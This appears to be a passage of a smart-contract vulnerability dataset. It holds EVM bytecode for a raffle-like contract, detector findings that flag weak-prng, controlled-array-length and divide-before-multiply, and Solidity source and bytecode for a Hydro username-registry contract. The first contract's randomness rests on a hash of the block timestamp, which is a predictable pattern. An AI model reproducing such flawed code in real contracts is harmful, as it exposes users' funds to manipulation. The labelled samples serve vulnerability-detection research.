ffffffffff1690602001909190803590602001909190505061097b565b005b341561025e57600080fd5b610266610ada565b6040518080602001838152602001828103825284818151815260200191508051906020019060200280838360005b838110156102af578082015181840152602081019050610294565b50505050905001935050505060405180910390f35b34156102cf57600080fd5b6102d7610b79565b6040518082815260200191505060405180910390f35b34156102f857600080fd5b610324600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b7f565b6040518082815260200191505060405180910390f35b341561034557600080fd5b61034d610bc8565b6040518082815260200191505060405180910390f35b341561036e57600080fd5b61039a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bce565b005b34156103a757600080fd5b6103dc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ca8565b6040518082815260200191505060405180910390f35b34156103fd57600080fd5b610429600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d0a565b005b341561043657600080fd5b61043e610de5565b005b341561044b57600080fd5b610453610e78565b005b341561046057600080fd5b61048c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ef4565b6040518082815260200191505060405180910390f35b34156104ad57600080fd5b6104b5610f40565b604051808215151515815260200191505060405180910390f35b34156104da57600080fd5b610506600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f53565b6040518080602001838152602001828103825284818151815260200191508051906020019060200280838360005b8381101561054f578082015181840152602081019050610534565b50505050905001935050505060405180910390f35b341561056f57600080fd5b610577611037565b6040518082815260200191505060405180910390f35b341561059857600080fd5b6105a061103d565b005b34156105ad57600080fd5b6105d9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611100565b604051808215151515815260200191505060405180910390f35b6105fb6111a4565b005b341561060857600080fd5b610610611209565b005b341561061d57600080fd5b610633600480803590602001909190505061129c565b005b341561064057600080fd5b6106486113d9565b6040518082815260200191505060405180910390f35b341561066957600080fd5b6106716113e1565b6040518082815260200191505060405180910390f35b341561069257600080fd5b61069a6113e7565b005b34156106a757600080fd5b6106af611476565b6040518082815260200191505060405180910390f35b34156106d057600080fd5b6106d861147b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561072557600080fd5b610751600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114a1565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610794578082015181840152602081019050610779565b505050509050019250505060405180910390f35b34156107b357600080fd5b6107bb61153e565b6040518082815260200191505060405180910390f35b34156107dc57600080fd5b6107e4611544565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b6108406004808035906020019091908035906020019091908035151590602001909190505061156c565b005b341561084d57600080fd5b610855611892565b6040518082815260200191505060405180910390f35b341561087657600080fd5b61088c6004808035906020019091905050611898565b005b341561089957600080fd5b6108a1611955565b6040518082815260200191505060405180910390f35b34156108c257600080fd5b6108ca61195a565b6040518082815260200191505060405180910390f35b34156108eb57600080fd5b6108f361195f565b6040518082815260200191505060405180910390f35b341561091457600080fd5b610954600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919080351515906020019091905050611965565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109d657600080fd5b60008114156109fa573073ffffffffffffffffffffffffffffffffffffffff163190505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a95576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610a9057600080fd5b610ad6565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610ad557600080fd5b5b5050565b610ae2611e95565b6000600b600a5481805480602002602001604051908101604052809291908181526020018280548015610b6a57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610b20575b50505050509150915091509091565b600a5481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c2957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610c6557600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515610cf657fe5b906000526020600020900154905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d6557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610da157600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e4057600080fd5b600160149054906101000a900460ff161515610e5b57600080fd5b6000600160146101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff167f8b52467ea3187063288fdbf4be854c20ba83d79a111c0a9ed6ee886bd48e436b33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a2565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b600160149054906101000a900460ff1681565b610f5b611ea9565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548180548060200260200160405190810160405280929190818152602001828054801561102757602002820191906000526020600020905b815481526020019060010190808311611013575b5050505050915091509150915091565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110e55750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156110f057600080fd5b600b60006110fe9190611ebd565b565b600080600090505b600b80549050811015611199578273ffffffffffffffffffffffffffffffffffffffff16600b8281548110151561113b57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561118c576001915061119e565b8080600101915050611108565b600091505b50919050565b7f3e589f8d1c2d75bb86421d988e93deff9007b384b23369bddfbcee15e1433bb933604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126457600080fd5b600160149054906101000a900460ff1615151561128057600080fd5b60018060146101000a81548160ff021916908315150217905550565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113475750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561135257600080fd5b42600b80549050604051808381526020018281526020019250505060405180910390209150600b80549050826001900481151561138b57fe5b0690506113d4600b828154811015156113a057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846001611965565b505050565b635af4dcff81565b60045481565b600a54600b805490501015156113fc57600080fd5b61140533611100565b15151561141157600080fd5b600b80548060010182816114259190611ede565b9160005260206000209001600033909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606381565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6114a9611ea9565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561153257602002820191906000526020600020905b81548152602001906001019080831161151e575b50505050509050919050565b60055481565b6000806000806000600554600654600754600454600354945094509450945094509091929394565b600080611577611ea9565b600080600160149054906101000a900460ff1615151561159657600080fd5b635af4dcff421015156115a857600080fd5b6000881180156115b9575060058811155b15156115c457600080fd5b6103e78860055401111515156115d957600080fd5b6115e38887611c12565b94508434101515156115f457600080fd5b6116078534611ca090919063ffffffff16565b93506000841115611653573373ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050151561165257600080fd5b5b876040518059106116615750595b908082528060200260200182016040525092506000915060058814156116c357600a8710151561169057600080fd5b600087141515156116a057600080fd5b868360008151811015156116b057fe5b9060200190602002018181525050600191505b6116cd8383611cb9565b600090505b825181101561176557600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480600101828161172c9190611f0a565b91600052602060002090016000858481518110151561174757fe5b906020019060200201519091909150555080806001019150506116d2565b85156117b95787600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b3373ffffffffffffffffffffffffffffffffffffffff167f0518281fc5322fe9e85244c094689e1c77b78aa6fd189e2c78d3e77ea2a41981848888604051808060200184151515158152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561184757808201518184015260208101905061182c565b5050505090500194505050505060405180910390a2876005600082825401925050819055506003548802600460008282540192505081905550611888611db2565b5050505050505050565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119405750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561194b57600080fd5b80600a8190555050565b600081565b600981565b6103e781565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a0d5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611a1857600080fd5b600a82101515611a2757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611a6357600080fd5b6103e7600554101515611a7557600080fd5b6063600654101515611a8657600080fd5b6000821415611aa1576009600754101515611aa057600080fd5b5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806001018281611af29190611f0a565b9160005260206000209001600084909190915055508015611b5c576001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b8273ffffffffffffffffffffffffffffffffffffffff167f66f195ce163250917438b3c17e79f99937960fe81194b05b11be5106e8c7ffa4838360405180838152602001821515151581526020019250505060405180910390a2600160056000828254019250508190555060016006600082825401925050819055506000821415611bf35760016007600082825401925050819055505b600354600460008282540192505081905550611c0d611db2565b505050565b60008060006003546001860302600454019150600282600454018602811515611c3757fe5b0490508315611c95576003851015611c6057606460788202811515611c5857fe5b049050611c94565b6005851015611c8057606460738202811515611c7857fe5b049050611c93565b6064606e8202811515611c8f57fe5b0490505b5b5b809250505092915050565b6000828211151515611cae57fe5b818303905092915050565b60008060008060045442604051808381526020018281526020019250505060405180910390209350600092508490505b8551811015611daa575b602083101515611d0257600080fd5b611d618484602081101515611d1357fe5b1a7f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900460ff16611de6565b91508280600101935050611d76868383611e43565b15611d8057611cf3565b818682815181101515611d8f57fe5b90602001906020020181815250508080600101915050611ce9565b505050505050565b67016345785d8a00006004541115611de457655af3107a4000600354141515611de357655af3107a40006003819055505b5b565b600080600090505b600280549050811015611e3257600281815481101515611e0a57fe5b906000526020600020900154831015611e2557809150611e3d565b8080600101915050611dee565b60001515611e3c57fe5b5b50919050565b600080600090505b82811015611e8857838582815181101515611e6257fe5b906020019060200201511415611e7b5760019150611e8d565b8080600101915050611e4b565b600091505b509392505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b5080546000825590600052602060002090810190611edb9190611f36565b50565b815481835581811511611f0557818360005260206000209182019101611f049190611f36565b5b505050565b815481835581811511611f3157818360005260206000209182019101611f309190611f36565b5b505050565b611f5891905b80821115611f54576000816000905550600101611f3c565b5090565b905600a165627a7a723058206b3c02281e44d3920ae0ff9a7f1155c854ad4151145f4389d2d04052f840d69d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
6,811
0xc58466b48d4f1554ac999920e358aeaf6de63a47
pragma solidity ^0.4.13; library StringUtils { struct slice { uint _len; uint _ptr; } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string self) internal pure returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns a new slice containing the same data as the current slice. * @param self The slice to copy. * @return A new slice containing the same data as `self`. */ function copy(slice self) internal pure returns (slice) { return slice(self._len, self._ptr); } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice self) internal pure returns (string) { string memory ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); return ret; } /** * Lower * * Converts all the values of a string to their corresponding lower case * value. * * @param _base When being used for a data type this is the extended object * otherwise this is the string base to convert to lower case * @return string */ function lower(string _base) internal pure returns (string) { bytes memory _baseBytes = bytes(_base); for (uint i = 0; i < _baseBytes.length; i++) { _baseBytes[i] = _lower(_baseBytes[i]); } return string(_baseBytes); } /** * Lower * * Convert an alphabetic character to lower case and return the original * value when not alphabetic * * @param _b1 The byte to be converted to lower case * @return bytes1 The converted value if the passed value was alphabetic * and in a upper case otherwise returns the original value */ function _lower(bytes1 _b1) internal pure returns (bytes1) { if (_b1 >= 0x41 && _b1 <= 0x5A) { return bytes1(uint8(_b1) + 32); } return _b1; } function memcpy(uint dest, uint src, uint len) private pure { // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Withdrawable is Ownable { // Allows owner to withdraw ether from the contract function withdrawEther(address to) public onlyOwner { to.transfer(address(this).balance); } // Allows owner to withdraw ERC20 tokens from the contract function withdrawERC20Token(address tokenAddress, address to) public onlyOwner { ERC20Basic token = ERC20Basic(tokenAddress); token.transfer(to, token.balanceOf(address(this))); } } contract ClientRaindrop is Withdrawable { // attach the StringUtils library using StringUtils for string; using StringUtils for StringUtils.slice; // Events for when a user signs up for Raindrop Client and when their account is deleted event UserSignUp(string casedUserName, address userAddress); event UserDeleted(string casedUserName); // Variables allowing this contract to interact with the Hydro token address public hydroTokenAddress; uint public minimumHydroStakeUser; uint public minimumHydroStakeDelegatedUser; // User account template struct User { string casedUserName; address userAddress; } // Mapping from hashed uncased names to users (primary User directory) mapping (bytes32 => User) internal userDirectory; // Mapping from addresses to hashed uncased names (secondary directory for account recovery based on address) mapping (address => bytes32) internal addressDirectory; // Requires an address to have a minimum number of Hydro modifier requireStake(address _address, uint stake) { ERC20Basic hydro = ERC20Basic(hydroTokenAddress); require(hydro.balanceOf(_address) >= stake, "Insufficient HYDRO balance."); _; } // Allows applications to sign up users on their behalf iff users signed their permission function signUpDelegatedUser(string casedUserName, address userAddress, uint8 v, bytes32 r, bytes32 s) public requireStake(msg.sender, minimumHydroStakeDelegatedUser) { require( isSigned(userAddress, keccak256(abi.encodePacked("Create RaindropClient Hydro Account")), v, r, s), "Permission denied." ); _userSignUp(casedUserName, userAddress); } // Allows users to sign up with their own address function signUpUser(string casedUserName) public requireStake(msg.sender, minimumHydroStakeUser) { return _userSignUp(casedUserName, msg.sender); } // Allows users to delete their accounts function deleteUser() public { bytes32 uncasedUserNameHash = addressDirectory[msg.sender]; require(initialized(uncasedUserNameHash), "No user associated with the sender address."); string memory casedUserName = userDirectory[uncasedUserNameHash].casedUserName; delete addressDirectory[msg.sender]; delete userDirectory[uncasedUserNameHash]; emit UserDeleted(casedUserName); } // Allows the Hydro API to link to the Hydro token function setHydroTokenAddress(address _hydroTokenAddress) public onlyOwner { hydroTokenAddress = _hydroTokenAddress; } // Allows the Hydro API to set minimum hydro balances required for sign ups function setMinimumHydroStakes(uint newMinimumHydroStakeUser, uint newMinimumHydroStakeDelegatedUser) public onlyOwner { ERC20Basic hydro = ERC20Basic(hydroTokenAddress); // <= the airdrop amount require(newMinimumHydroStakeUser <= (222222 * 10**18), "Stake is too high."); // <= 1% of total supply require(newMinimumHydroStakeDelegatedUser <= (hydro.totalSupply() / 100), "Stake is too high."); minimumHydroStakeUser = newMinimumHydroStakeUser; minimumHydroStakeDelegatedUser = newMinimumHydroStakeDelegatedUser; } // Returns a bool indicating whether a given userName has been claimed (either exactly or as any case-variant) function userNameTaken(string userName) public view returns (bool taken) { bytes32 uncasedUserNameHash = keccak256(abi.encodePacked(userName.lower())); return initialized(uncasedUserNameHash); } // Returns user details (including cased username) by any cased/uncased user name that maps to a particular user function getUserByName(string userName) public view returns (string casedUserName, address userAddress) { bytes32 uncasedUserNameHash = keccak256(abi.encodePacked(userName.lower())); require(initialized(uncasedUserNameHash), "User does not exist."); return (userDirectory[uncasedUserNameHash].casedUserName, userDirectory[uncasedUserNameHash].userAddress); } // Returns user details by user address function getUserByAddress(address _address) public view returns (string casedUserName) { bytes32 uncasedUserNameHash = addressDirectory[_address]; require(initialized(uncasedUserNameHash), "User does not exist."); return userDirectory[uncasedUserNameHash].casedUserName; } // Checks whether the provided (v, r, s) signature was created by the private key associated with _address function isSigned(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s) public pure returns (bool) { return (_isSigned(_address, messageHash, v, r, s) || _isSignedPrefixed(_address, messageHash, v, r, s)); } // Checks unprefixed signatures function _isSigned(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s) internal pure returns (bool) { return ecrecover(messageHash, v, r, s) == _address; } // Checks prefixed signatures (e.g. those created with web3.eth.sign) function _isSignedPrefixed(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s) internal pure returns (bool) { bytes memory prefix = "\x19Ethereum Signed Message:\n32"; bytes32 prefixedMessageHash = keccak256(abi.encodePacked(prefix, messageHash)); return ecrecover(prefixedMessageHash, v, r, s) == _address; } // Common internal logic for all user signups function _userSignUp(string casedUserName, address userAddress) internal { require(!initialized(addressDirectory[userAddress]), "Address already registered."); require(bytes(casedUserName).length < 31, "Username too long."); require(bytes(casedUserName).length > 3, "Username too short."); bytes32 uncasedUserNameHash = keccak256(abi.encodePacked(casedUserName.toSlice().copy().toString().lower())); require(!initialized(uncasedUserNameHash), "Username taken."); userDirectory[uncasedUserNameHash] = User(casedUserName, userAddress); addressDirectory[userAddress] = uncasedUserNameHash; emit UserSignUp(casedUserName, userAddress); } function initialized(bytes32 uncasedUserNameHash) internal view returns (bool) { return userDirectory[uncasedUserNameHash].userAddress != 0x0; // a sufficient initialization check } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); }
0x6080604052600436106100cc5763ffffffff60e060020a600035041663026ff05e81146100d15780632b45bcf9146100e85780632e5df0fe1461010f57806345004310146101855780634bff5009146101de57806369c212f6146102c857806375d7e4bd1461035e57806385ba9a991461038f5780638677ebe8146103aa5780638da5cb5b146103ee578063af933b5714610403578063ba75d0de14610424578063bed7437f14610439578063d35e656b1461045a578063ecfbe70c146104b3578063f2fde38b146104da575b600080fd5b3480156100dd57600080fd5b506100e66104fb565b005b3480156100f457600080fd5b506100fd610725565b60408051918252519081900360200190f35b34801561011b57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526100e694369492936024939284019190819084018382808284375094975050508335600160a060020a03169450505050602081013560ff16906040810135906060013561072b565b34801561019157600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526100e69436949293602493928401919081908401838280828437509497506109569650505050505050565b3480156101ea57600080fd5b506040805160206004803580820135601f8101849004840285018401909552848452610237943694929360249392840191908190840183828082843750949750610a599650505050505050565b604051808060200183600160a060020a0316600160a060020a03168152602001828103825284818151815260200191508051906020019080838360005b8381101561028c578181015183820152602001610274565b50505050905090810190601f1680156102b95780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b3480156102d457600080fd5b506102e9600160a060020a0360043516610c43565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561032357818101518382015260200161030b565b50505050905090810190601f1680156103505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561036a57600080fd5b50610373610d5e565b60408051600160a060020a039092168252519081900360200190f35b34801561039b57600080fd5b506100e6600435602435610d6d565b3480156103b657600080fd5b506103da600160a060020a036004351660243560ff60443516606435608435610ed1565b604080519115158252519081900360200190f35b3480156103fa57600080fd5b50610373610efd565b34801561040f57600080fd5b506100e6600160a060020a0360043516610f0c565b34801561043057600080fd5b506100fd610f65565b34801561044557600080fd5b506100e6600160a060020a0360043516610f6b565b34801561046657600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526103da943694929360249392840191908190840183828082843750949750610fb59650505050505050565b3480156104bf57600080fd5b506100e6600160a060020a0360043581169060243516611095565b3480156104e657600080fd5b506100e6600160a060020a03600435166111c9565b600160a060020a033316600090815260056020526040902054606061051f82611261565b151561059b576040805160e560020a62461bcd02815260206004820152602b60248201527f4e6f2075736572206173736f6369617465642077697468207468652073656e6460448201527f657220616464726573732e000000000000000000000000000000000000000000606482015290519081900360840190fd5b60008281526004602090815260409182902080548351601f60026101006001851615026000190190931692909204918201849004840281018401909452808452909183018282801561062e5780601f106106035761010080835404028352916020019161062e565b820191906000526020600020905b81548152906001019060200180831161061157829003601f168201915b505050600160a060020a033316600090815260056020908152604080832083905587835260049091528120939450915061066a90508282611a37565b50600101805473ffffffffffffffffffffffffffffffffffffffff1916905560408051602080825283518183015283517f28f7ad4961343bc792aec8e7886fc38c6847f9cd253ec14a633ff3bed8370883938593928392918301919085019080838360005b838110156106e75781810151838201526020016106cf565b50505050905090810190601f1680156107145780820380516001836020036101000a031916815260200191505b509250505060405180910390a15050565b60025481565b600354600154604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a0333818116600484015292519294931691839183916370a08231916024808201926020929091908290030181600087803b15801561079c57600080fd5b505af11580156107b0573d6000803e3d6000fd5b505050506040513d60208110156107c657600080fd5b5051101561081e576040805160e560020a62461bcd02815260206004820152601b60248201527f496e73756666696369656e7420485944524f2062616c616e63652e0000000000604482015290519081900360640190fd5b6108ec8760405160200180807f437265617465205261696e64726f70436c69656e7420487964726f204163636f81526020017f756e74000000000000000000000000000000000000000000000000000000000081525060230190506040516020818303038152906040526040518082805190602001908083835b602083106108b75780518252601f199092019160209182019101610898565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020888888610ed1565b1515610942576040805160e560020a62461bcd02815260206004820152601260248201527f5065726d697373696f6e2064656e6965642e0000000000000000000000000000604482015290519081900360640190fd5b61094c8888611284565b5050505050505050565b600254600154604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a0333818116600484015292519294931691839183916370a08231916024808201926020929091908290030181600087803b1580156109c757600080fd5b505af11580156109db573d6000803e3d6000fd5b505050506040513d60208110156109f157600080fd5b50511015610a49576040805160e560020a62461bcd02815260206004820152601b60248201527f496e73756666696369656e7420485944524f2062616c616e63652e0000000000604482015290519081900360640190fd5b610a538433611284565b50505050565b6060600080610a678461161f565b6040516020018082805190602001908083835b60208310610a995780518252601f199092019160209182019101610a7a565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310610afc5780518252601f199092019160209182019101610add565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050610b3481611261565b1515610b8a576040805160e560020a62461bcd02815260206004820152601460248201527f5573657220646f6573206e6f742065786973742e000000000000000000000000604482015290519081900360640190fd5b60008181526004602090815260409182902060018082015482548551601f6002948316156101000260001901909216939093049081018590048502830185019095528482529193600160a060020a039092169290918491830182828015610c325780601f10610c0757610100808354040283529160200191610c32565b820191906000526020600020905b815481529060010190602001808311610c1557829003601f168201915b505050505091509250925050915091565b600160a060020a038116600090815260056020526040902054606090610c6881611261565b1515610cbe576040805160e560020a62461bcd02815260206004820152601460248201527f5573657220646f6573206e6f742065786973742e000000000000000000000000604482015290519081900360640190fd5b60008181526004602090815260409182902080548351601f600261010060018516150260001901909316929092049182018490048402810184019094528084529091830182828015610d515780601f10610d2657610100808354040283529160200191610d51565b820191906000526020600020905b815481529060010190602001808311610d3457829003601f168201915b5050505050915050919050565b600154600160a060020a031681565b6000805433600160a060020a03908116911614610d8957600080fd5b50600154600160a060020a0316692f0eadc3216237780000831115610df8576040805160e560020a62461bcd02815260206004820152601260248201527f5374616b6520697320746f6f20686967682e0000000000000000000000000000604482015290519081900360640190fd5b606481600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610e3857600080fd5b505af1158015610e4c573d6000803e3d6000fd5b505050506040513d6020811015610e6257600080fd5b5051811515610e6d57fe5b04821115610ec5576040805160e560020a62461bcd02815260206004820152601260248201527f5374616b6520697320746f6f20686967682e0000000000000000000000000000604482015290519081900360640190fd5b50600291909155600355565b6000610ee086868686866116a4565b80610ef35750610ef38686868686611729565b9695505050505050565b600054600160a060020a031681565b60005433600160a060020a03908116911614610f2757600080fd5b604051600160a060020a0380831691309091163180156108fc02916000818181858888f19350505050158015610f61573d6000803e3d6000fd5b5050565b60035481565b60005433600160a060020a03908116911614610f8657600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080610fc18361161f565b6040516020018082805190602001908083835b60208310610ff35780518252601f199092019160209182019101610fd4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b602083106110565780518252601f199092019160209182019101611037565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020905061108e81611261565b9392505050565b6000805433600160a060020a039081169116146110b157600080fd5b82905080600160a060020a031663a9059cbb8383600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801561111f57600080fd5b505af1158015611133573d6000803e3d6000fd5b505050506040513d602081101561114957600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561119857600080fd5b505af11580156111ac573d6000803e3d6000fd5b505050506040513d60208110156111c257600080fd5b5050505050565b60005433600160a060020a039081169116146111e457600080fd5b600160a060020a03811615156111f957600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600081815260046020526040902060010154600160a060020a031615155b919050565b600160a060020a0381166000908152600560205260408120546112a690611261565b156112fb576040805160e560020a62461bcd02815260206004820152601b60248201527f4164647265737320616c726561647920726567697374657265642e0000000000604482015290519081900360640190fd5b8251601f11611354576040805160e560020a62461bcd02815260206004820152601260248201527f557365726e616d6520746f6f206c6f6e672e0000000000000000000000000000604482015290519081900360640190fd5b82516003106113ad576040805160e560020a62461bcd02815260206004820152601360248201527f557365726e616d6520746f6f2073686f72742e00000000000000000000000000604482015290519081900360640190fd5b6113ce6113c96113c46113bf8661189d565b6118c3565b6118e9565b61161f565b6040516020018082805190602001908083835b602083106114005780518252601f1990920191602091820191016113e1565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b602083106114635780518252601f199092019160209182019101611444565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020905061149b81611261565b156114f0576040805160e560020a62461bcd02815260206004820152600f60248201527f557365726e616d652074616b656e2e0000000000000000000000000000000000604482015290519081900360640190fd5b604080518082018252848152600160a060020a0384166020808301919091526000848152600482529290922081518051929391926115319284920190611a7e565b50602091820151600191909101805473ffffffffffffffffffffff